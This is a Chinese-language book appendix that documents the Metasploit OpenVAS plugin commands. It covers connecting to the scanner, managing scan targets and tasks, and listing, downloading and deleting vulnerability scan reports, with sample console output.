C.1　使用OpenVAS服务器
 
在Metasploit框架中，使用load命令加载OpenVAS插件后，即可访问OpenVAS服务器。在使用该服务器之前，需要先连接该服务器。本节介绍OpenVAS服务器的使用。
C.1.1　连接服务器
 
如果要使用OpenVAS服务器，则需要先连接到该服务器。其语法格式如下：
 


openvas_connect username password host port <ssl-confirm>




 
在以上语法中，参数username表示登录服务器的用户名；password表示登录服务器用户的密码；host指定OpenVAS服务器地址；port指定服务器的端口，这里将连接到OpenVAS的Manager端口，默认是9390；ssl-confirm表示确认是SSL连接，可以设置为OK，也可以不设置。
 
【实例C-1】使用openvas_connect命令连接到OpenVAS服务器。执行命令如下：
 


msf5 > openvas_connect admin 123456 127.0.0.1 9390 ok

[*] Connecting to OpenVAS instance at 127.0.0.1:9390 with username admin...

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS connection successful




 
从输出的最后一行信息可以看到，已成功连接到OpenVAS服务。
C.1.2　查看服务器信息
 
在用户成功连接到OpenVAS服务后，可以查看该服务的信息，如版本、配置。下面介绍查看服务器信息的方法。
 
1．查看版本
 
用户可以使用openvas_version命令查看OpenVAS服务器的版本。该命令的语法格式如下：
 


openvas_version




 
【实例C-2】查看当前服务器的版本信息。执行命令如下：
 


msf5 > openvas_version 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] Using OMP version 7.0




 
从输出的信息可以看到，当前服务器的版本为7.0。
 
2．查看扫描配置
 
所有的扫描任务都是基于扫描配置创建的。所以，如果要创建扫描任务，必须先了解现有的扫描配置。其中，OpenVAS服务默认提供了9个扫描配置。而且，用户也可以手动创建。下面使用openvas_config_list命令查看扫描配置。其语法格式如下：
 


openvas_config_list




 
【实例C-3】查看当前的扫描配置列表。执行命令如下：
 


msf5 > openvas_config_list 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of configs

ID                                                Name

--                                                 ----

085569ce-73ed-11df-83c3-002264764cea      empty

2d3f051c-55ba-11e3-bf43-406186ea4fc5      Host Discovery

698f691e-7489-11df-9d8c-002264764cea      Full and fast ultimate

708f25c4-7489-11df-8094-002264764cea      Full and very deep

74db13d6-7489-11df-91b9-002264764cea      Full and very deep ultimate

8715c877-47a0-438d-98a3-27c7a6ab2196      Discovery

bbca7412-a950-11e3-9109-406186ea4fc5      System Discovery

daba56c8-73ec-11df-a475-002264764cea      Full and fast

ee72e773-d563-4198-9e50-94a0c08df3de      Lan Scan




 
从输出的信息可以看到当前服务器中的扫描配置列表。以上信息显示了两列，分别表示ID（扫描配置ID）和Name（扫描配置名称）。在用户创建扫描任务时，则需要指定扫描配置ID。
C.1.3　断开连接
 
如果用户不再使用OpenVAS服务器，可以使用openvas_disconnect命令断开连接。该命令的语法格式如下：
 


openvas_disconnect


 
【实例C-4】断开与OpenVAS服务的连接。执行命令如下：
 


msf5 > openvas_disconnect


 
执行以上命令后，将不再输出任何信息。
C.2　管理扫描目标
 
在创建扫描任务之前，需要先创建扫描目标。本节介绍对目标进行管理，如创建目标、删除目标。
C.2.1　创建目标
 
在创建目标之前，用户可以先查看已有的目标，以确定是否需要创建目标。如果没有或者已有的目标不是用户需要的，则需要创建新的目标。查看已有目标的语法格式如下：
 


openvas_target_list




 
【实例C-5】查看当前服务器的目标列表。执行命令如下：
 


msf5 > openvas_target_list 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of targets



ID          Name      Hosts      Max Hosts      In Use        Comment

--       ----     -----      ---------     ------       -------




 
从输出的信息可以看到，当前服务器中还没有扫描目标。所以，用户需要创建新的目标。
 
创建扫描目标的语法格式如下：
 


openvas_target_create <name> <hosts> <comment>




 
在以上语法中，参数name表示扫描目标的名称；hosts表示扫描目标主机地址；comment表示描述信息。
 
【实例C-6】创建新的扫描目标。执行命令如下：
 


msf5 > openvas_target_create "Local Scan" 192.168.29.0/24 "Scan Network"

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[*] 0ac5b184-a6eb-4df6-8ed2-1441ceddd522

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of targets

ID                                         Name        Hosts        Max Hosts

In Use    Comment

--                                         ----         -----        ---------    ------    -------

44b27f22-60bc-4e00-8520-dd1fd1ec4335    Local Scan    192.168.29.0/24      254

0        Scan Network




 
从输出的信息可以看到，成功创建了一个目标。在输出的信息中，共包括6列，分别为ID（目标ID）、Name（目标名称）、Hosts（目标主机地址）、Max hosts（最大主机数）、In Use（是否正在使用）和Comment（注释）。通过分析以上信息，可以看到新创建的目标ID为44b27f22-60bc-4e00-8520-dd1fd1ec4335；名称为Local Scan；主机地址为192.168.29.0/24等。其中，In Use列的值为1，则表示正在使用；值为0，表示没有使用。此时，用户可以使用openvas_target_list命令查看列表，以确定是否成功创建了目标。具体如下：
 


msf5 > openvas_target_list 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of targets

ID                                          Name           Hosts    Max Hosts

In Use        Comment

--                                          ----        -----     ---------

------        -------

66229018-8172-43fa-a789-c3cb0e870d02    Local Scan    192.168.29.0/24        254

0              Scan Network




 
从输出的信息可以看到，已成功创建了名为Local Scan的扫描目标。
C.2.2　删除目标
 
当用户不需要某个扫描目标时，可以将其删除。删除目标的语法格式如下：
 


openvas_target_delete <target_id>




 
在以上语法中，参数target_id表示删除目标的ID。而且，指定的目标需要在没有使用的状态下才可以删除。
 
【实例C-7】删除目标刚创建的目标，其ID为44b27f22-60bc-4e00-8520-dd1fd1ec4335。执行命令如下：
 


msf5 > openvas_target_delete 44b27f22-60bc-4e00-8520-dd1fd1ec4335

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[*] <X><authenticate_response status='200' status_text='OK'><role>Admin </role><timezone>UTC</timezone><severity>nist</severity></authenticate_response><delete_target_response status='200' status_text='OK'/></X>

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of targets

ID      Name      Hosts    Max Hosts    In Use    Comment

--      ----     -----     ---------     ------    -------




 
从输出的结果，可以看到目标已经消失了。由此可以说明，目标已被成功删除。同样，用户可以使用openvas_target_list命令查看目标，以确定目标是否已成功删除。
C.3　管理扫描任务
 
用户完成扫描配置和扫描目标创建后，就可以创建扫描任务了。然后，对指定的目标主机实施扫描。本节讲解管理扫描任务的方法。
C.3.1　创建任务
 
在创建扫描任务之前，先查看现有任务。如果没有对应的任务，就新建一个任务。其中，查看现有扫描任务的语法格式如下：
 


openvas_task_list




 
【实例C-8】查看现有的扫描任务。执行命令如下：
 


msf5 > openvas_task_list 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of tasks

ID     Name    Comment        Status     Progress

--     ----     -------        ------    --------




 
从输出的信息可以看到，目前还没有创建扫描任务。所以要创建扫描任务。
 
创建扫描任务的语法格式如下：
 


openvas_task_create <name> <comment> <config_id> <target_id>




 
在以上语法中，参数name表示扫描任务的名称；comment表示扫描任务的描述信息、config_id表示扫描配置ID；target_id表示目标ID。
 
【实例C-9】创建扫描任务。执行命令如下：
 


msf5 > openvas_task_create "Local Scan" "Scan Network" daba56c8-73ec- 11df-a475-002264764cea 66229018-8172-43fa-a789-c3cb0e870d02 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[*] bd5884ff-c752-4799-84d0-a75a23529dd7

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of tasks

ID                                               Name         Comment        Status

Progress

--                                             ----         -------        ------

--------

bd5884ff-c752-4799-84d0-a75a23529dd7    Local Scan    Scan Network    New

-1




 
以上输出信息表示已成功创建了一个扫描任务。在输出的信息中包括5列信息，分别为ID（扫描任务ID）、Name（扫描任务名称）、Comment（扫描任务描述信息）、Status（状态）和Progress（进度）。从显示的结果中可以看到，该扫描任务的状态为New，表示新创建的任务，还没有执行。
C.3.2　执行任务
 
用户创建好扫描任务后，即可执行该任务，对指定的目标实施扫描了。用户对新建的扫描任务可以实施启动、停止、暂停、恢复等操作。下面介绍执行任务的相关操作。
 
1．启动扫描任务
 
如果要实施扫描，必须启动其扫描任务。其中，用于启动扫描任务的语法格式如下：
 


openvas_task_start <id>




 
在以上语法中，参数id表示启动的扫描任务的ID。
 
【实例C-10】启动ID为bd5884ff-c752-4799-84d0-a75a23529dd7的扫描任务。执行命令如下：
 


msf5 > openvas_task_start bd5884ff-c752-4799-84d0-a75a23529dd7

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[*] <X><authenticate_response status='200' status_text='OK'><role>Admin </role><timezone>UTC</timezone><severity>nist</severity></authenticate_response><start_task_response status='202' status_text='OK, request submitted'> <report_id>e7d6e1af-adb4-4116-973e-47392eccce9f</report_id></start_task_response></X>




 
以上输出信息表示成功启动了扫描任务。为了确定该扫描任务是否已成功启动，用户可以使用openvas_task_list命令查看扫描任务状态，具体如下：
 


msf5 > openvas_task_list 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of tasks

ID                                          Name        Comment    Status    Progress

--                                            ----        -------    ------    --------

bd5884ff-c752-4799-84d0-a75a23529dd7  Local Scan    Scan Network      Running  67




 
从输出的信息可以看到，当前扫描任务的状态为Running，表示正在运行。而且，还可以看到该扫描任务的进度值为67（67%）。在扫描完成后，状态为Done，具体如下：
 


msf5 > openvas_task_list 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of tasks

ID                                          Name           Comment        Status

Progress

--                                          ----           -------        ------

--------

bd5884ff-c752-4799-84d0-a75a23529dd7    Local Scan    Scan Network    Done

-1




 
以上输出信息表示扫描已完成。
 
2．停止扫描任务
 
如果用户不想要执行某进行中的扫描任务了，可以将其停止。停止扫描任务的语法格式如下：
 


openvas_task_stop <id>




 
在以上语法中，参数id表示停止的扫描任务的ID。
 
【实例C-11】停止扫描任务。执行命令如下：
 


msf5 > openvas_task_stop bd5884ff-c752-4799-84d0-a75a23529dd7

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[*] <X><authenticate_response status='200' status_text='OK'><role>Admin </role><timezone>UTC</timezone><severity>nist</severity></authenticate_response><stop_task_response status='202' status_text='OK, request submitted'/> </X>




 
看到以上输出信息，表示已成功停止扫描任务。此时，用户同样可以使用openvas_task_list命令查看其状态，具体如下：
 


msf5 > openvas_task_list 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of tasks

ID                                            Name         Comment       Status    

Progress

--                                              ----          -------    ------

--------

bd5884ff-c752-4799-84d0-a75a23529dd7    Local Scan    Scan Network    Stop Requested

-1




 
从输出的信息可以看到，当前扫描任务的状态为Stop Requested（停止请求），表示已停止扫描。
 
3．暂停扫描任务
 
暂停扫描任务只是停止一段时间，后期还可以恢复并继续扫描。如果停止扫描，则之前的扫描也将结束。暂停扫描任务的语法格式如下：
 


openvas_task_pause <id>




 
在以上语法中，参数id表示暂停的扫描任务的ID。
 
【实例C-12】暂停扫描任务。执行命令如下：
 


msf5 > openvas_task_pause bd5884ff-c752-4799-84d0-a75a23529dd7

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[*] <X><authenticate_response status='200' status_text='OK'><role>Admin </role><timezone>UTC</timezone><severity>nist</severity></authenticate_response><omp_response status='400' status_text='Bogus command name'/></X>




 
4．恢复扫描任务
 
如果用户需要继续运行暂停的任务，也可以将其恢复。恢复扫描任务的语法格式如下所示：
 


openvas_task_resume <id>




 
在以上语法中，参数id表示恢复的扫描任务的ID。
 
5．恢复或启动扫描任务
 
用户还可以使用openvas_task_resume_or_start命令，恢复或启动扫描任务。其中，该命令的语法格式如下：
 


openvas_task_resume_or_start <id>




 
在上语法中，参数id表示恢复或启动的扫描任务的ID。
C.3.3　删除任务
 
当用户扫描并分析完成，不再需要某个扫描任务时，可以将其删除。删除扫描任务的语法格式如下：
 


openvas_task_delete <id> ok




 
【实例C-13】删除ID为bd5884ff-c752-4799-84d0-a75a23529dd7的扫描任务。执行命令如下：
 


msf5 > openvas_task_delete bd5884ff-c752-4799-84d0-a75a23529dd7 ok

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[*] <X><authenticate_response status='200' status_text='OK'><role>Admin </role><timezone>UTC</timezone><severity>nist</severity></authenticate_response><delete_task_response status='200' status_text='OK'/></X>

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of tasks

ID      Name     Comment        Status    Progress

--     ----      -------       ------    --------




 
从输出的信息可以看到，当前的扫描任务列表为空。由此可以说明，扫描任务删除成功。
C.4　管理扫描报告
 
用户扫描完成后，为了方便分析，可以下载其扫描报告。而且，还可以导入OpenVAS报告。如果不需要了，还可以将其删除。本节介绍管理扫描报告。
C.4.1　查看报告
 
用户实施扫描完成后，可以查看并导出扫描报告。当用户在导出扫描报告时，可以查看支持的报告格式及现有的报告。然后，下载指定的报告。下面介绍查看扫描报告列表。
 
1．列出可用的报告格式
 
如果要导出扫描报告，必须了解其报告格式。此时，用户可以使用openvas_format_list命令查看支持的报告格式。语法格式如下：
 


openvas_format_list




 
【实例C-14】查看可用的报告格式。执行命令如下：
 


msf5 > openvas_format_list 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

[+] OpenVAS list of report formats

ID    Name    Extension    Summary

--    ----    --------    -------

5057e5cc-b825-11e4-9d0e-28d24461215b      Anonymous XML    xml     Anonymous version of the raw XML report

50c9950a-f326-11e4-800c-28d24461215b      Verinice ITG    vna     Greenbone Verinice ITG Report, v1.0.1.

5ceff8ba-1f62-11e1-ab9f-406186ea4fc5      CPE     csv     Common Product Enumeration CSV table.

6c248850-1f62-11e1-b082-406186ea4fc5      HTML           html    Single page HTML report.

77bd6c4a-1f62-11e1-abf0-406186ea4fc5      ITG     csv     German "IT-Grundschutz- Kataloge" report.

9087b18c-626c-11e3-8892-406186ea4fc5      CSV Hosts      csv     CSV host summary.

910200ca-dc05-11e1-954f-406186ea4fc5      ARF           xml    Asset Reporting Format v1.0.0.

9ca6fe72-1f62-11e1-9e7c-406186ea4fc5      NBE         nbe     Legacy OpenVAS report.

9e5e5deb-879e-4ecc-8be6-a71cd0875cdd      Topology SVG    svg     Network topology SVG image.

a3810a62-1f62-11e1-9219-406186ea4fc5      TXT            txt      Plain text report.

a684c02c-b531-11e1-bdc2-406186ea4fc5      LaTeX         tex     LaTeX source file.

a994b278-1f62-11e1-96ac-406186ea4fc5      XML        xml     Raw XML report.

c15ad349-bd8d-457a-880a-c7056532ee15      Verinice ISM     vna     Greenbone Verinice ISM Report, v3.0.0.

c1645568-627a-11e3-a660-406186ea4fc5      CSV Results    csv     CSV result list.

c402cc3e-b531-11e1-9163-406186ea4fc5      PDF    pdf     Portable Document Format report.




 
输出的信息中，列出了所有的报告格式，如Anonymous XML、HTML、PDF等。在输出的信息中共包括4列信息，分别是ID（报告格式ID）、Name（报告名称）、Extension（扩展名）和Summary（描述信息）。
 
2．列出有效的报告
 
当用户了解支持的所有报告格式后，就可以查看当前系统中的报告文件。然后，下载指定的报告。列出有效报告的语法格式如下：
 


openvas_report_list




 
【实例C-15】查看当前OpenVAS服务器中的有效报告列表。执行命令如下：
 


msf5 > openvas_report_list 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

…

[+] OpenVAS list of reports

ID                                               Task Name    Start Time    Stop Time

--                                           ---------    ----------    ---------

e8448d00-ead9-44ac-90e0-d998247bf396    Local Scan    2019-04-11T16:16:33Z

                                                     2019-04-11T16:40:46Z




 
以上输出信息共包括4列，分别表示ID（报告ID）、Task Name（任务名称）、Start Time（扫描起始时间）和Stop Time（扫描停止时间）。通过分析输出的信息可以看到，当前服务器中有一个报告文件，其报告ID为e8448d00-ead9-44ac-90e0-d998247bf396。
 
3．下载指定的报告
 
在用户清楚服务器中的所有报告文件后，便可指定要下载的报告，来分析扫描报告。用于下载报告的语法格式如下：
 


openvas_report_download <report_id> <format_id> <path> <report_name>




 
在以上语法中，参数report_id为报告ID、format_id为报告格式ID、path为报告文件的路径；report_name为报告文件名。
 
【实例C-16】下载一个XML格式的报告，其报告文件名为openvas.xml。执行命令如下：
 


msf5 > openvas_report_download e8448d00-ead9-44ac-90e0-d998247bf396 a994b278-1f62-11e1-96ac-406186ea4fc5 /root openvas.xml

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

…

[*] Saving report to /root/openvas.xml




 
以上输出信息表示已成功下载指定的报告，并且保存到/root/openvas.xml文件。
C.4.2　导入报告
 
用户还可以将已有的报告文件，导入OpenVAS服务器。导入的报告格式仅支持NBE和XML。用于导入扫描报告的语法格式如下：
 


openvas_report_import <report_id> <format_id>




 
在以上语法中，参数report_id表示报告ID；format_id表示报告格式ID。
 
[image: ]提示：目前，openvas_report_import命令存在Bug，缺少导入报告的参数。
C.4.3　删除报告
 
当用户不再需要分析某扫描报告时，可以将其删除。用于删除扫描报告的语法格式如下：
 


openvas_report_delete <id>


 
在以上语法中，参数id为指定删除报告的ID。
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